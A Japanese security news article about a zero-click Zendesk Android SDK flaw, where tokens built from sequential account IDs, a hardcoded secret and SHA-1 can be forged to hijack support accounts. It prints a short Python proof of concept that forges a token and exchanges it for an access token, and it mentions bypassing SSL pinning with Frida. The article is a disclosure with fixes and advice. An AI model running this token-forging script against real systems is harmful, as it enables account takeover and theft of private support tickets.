0-Click Zendesk Flaw Lets Hackers Hijack Accounts and View All Tickets
2025/08/25 gbhackers — Zendesk の Android SDK に、深刻なゼロクリック脆弱性が発見された。この脆弱性を悪用する攻撃者は、ユーザーの操作を必要とせずにサポート・アカウントを乗っ取り、すべてのチケットを収集できるという。この脆弱性は、Zendesk モバイル・アプリにおけるトークン生成および保存メカニズムの欠陥に起因するものであり、非公開のバグ報奨金プログラムで発見されたという。

脆弱性の概要
Zendesk の Android クライアントは、3つの予測可能な要素である、AccountID/静的にハードコードされた Secret/それらを連結した SHA-1 ハッシュを組み合わせて、認証トークンを生成する。具体的に言うと、このアプリは COMPANY-COMPANY-<AccountID>-<Secret> という形式の文字列を作成し、SHA-1 を適用した上で、JWT 形式のトークンを生成する。
AccountID は連番であり、Secret はバイナリに埋め込まれているため、攻撃者は任意のユーザーの有効なトークンをブルートフォースで取得できる。生成されたトークンは “/access/sdk/jwt” に対して POST リクエストで送信され、制限のないアクセス・トークンが取得される。

この研究者は、静的分析と動的分析を組み合わせて調査した。JADX により SDK をリバース・エンジニアリングし、ID トークンを構築/保存する重要な要素として、メソッド ZendeskHelper.g()、および、ZendeskIdentityStorage と ZendeskIdentityManager 下の関連ストレージ API を特定した。
Frida を使用したランタイム・フックにより、シークレットはローテーションされずデバイス固有にもならず、アプリのキャッシュが明示的にクリアされるまで、セッション間で ID が保持されることが確認された。
動的テストでは、Frida スクリプトを使用して SSL ピンニングをバイパスした後に、Burp Suite を介してネットワーク・トラフィックを傍受した。傍受された POST リクエストには、ユーザー・トークンのみが含まれ、再利用可能なアクセス・トークンが返された。レート制限やワンタイムの制限はなく、トークンの更新は無制限に可能だった。
エクスプロイト
研究者は Python でプロセスをスクリプト化し、トークン生成/アクセス・トークン取得/チケット列挙などを自動化した。アカウント ID に対する単純なループ処理で、数十万のアカウントに対して同時での侵入が可能になる。この攻撃は、ユーザー操作を必要とせず、フィッシングやソーシャル・エンジニアリングも不要であるため、真のゼロクリック攻撃となる。
import hashlib, requests
def gen_sha1(full_string):
return hashlib.sha1(full_string.encode()).hexdigest()
def get_access_token(user_token):
url = "https://COMPANY.zendesk.com/access/sdk/jwt"
resp = requests.post(url, json={"user":{"token": user_token}})
return resp.json()['authentication']['access_token']
user_id = "131070497"
secret = "987sdasdlkjlakdjf"
full = f"COMPANY-{user_id}-{secret}"
token = f"{user_id}_{gen_sha1(full)}"
access = get_access_token(token)
print("Access Token:", access)
この脆弱性を悪用すると、標的ユーザーが保持する、すべてのサポート・チケットへの Read/Write アクセス権が付与される。したがって攻撃者は、機密性の高い問い合わせの窃取/不正なチケットの挿入/Zendesk サポート・エコシステム内での権限昇格などの可能性を得る。
Zendesk は責任ある情報開示を受け、以下の修正パッチをリリースした。
- 静的シークレットを、デバイス/ユーザーごとにランダム化されたキーに置き換える
- JWT 交換エンド・ポイントに厳格なレート制限を適用
- Android のセキュア・キー・ストアを用いるトークン保存の強化
このゼロクリック脆弱性が浮き彫りにするのは、モバイル SDK における堅牢なトークンの生成/管理の重要性である。Zendesk のような、広く信頼されるプラットフォームであっても、予測可能な値と静的シークレットを使用すれば、深刻な脆弱性が生じ得ることが判明した。
セキュリティ・チームにとって必要なことは、サードパーティ・ライブラリの監査/シークレット・ローテーション/ハードウェア・バックアップ・ストレージ使用/認証フローへのレート制限適用などのベストプラクティスを遵守し、気づかれずに発生する壊滅的なアカウント乗っ取りを防止することである。
この記事で報告された Zendesk Android SDK のゼロクリック脆弱性は、トークン生成と保存の仕組みに起因するものである。本来であれば、ユーザーごとにランダム性を持たせるべきところが、AccountID (連番) 、アプリ内に埋め込まれた静的シークレット、そして、それらを組み合わせた SHA-1 ハッシュという、予測可能な値からトークンが生成されていました。この構造を悪用する攻撃者は、ブルートフォースで正規のトークンを再現し、正規のアクセス権限を取得できてしまうと、この記事は指摘しています。ご利用のチームは、ご注意ください。よろしければ、Zendesk で検索も、ご参照ください。
You must be logged in to post a comment.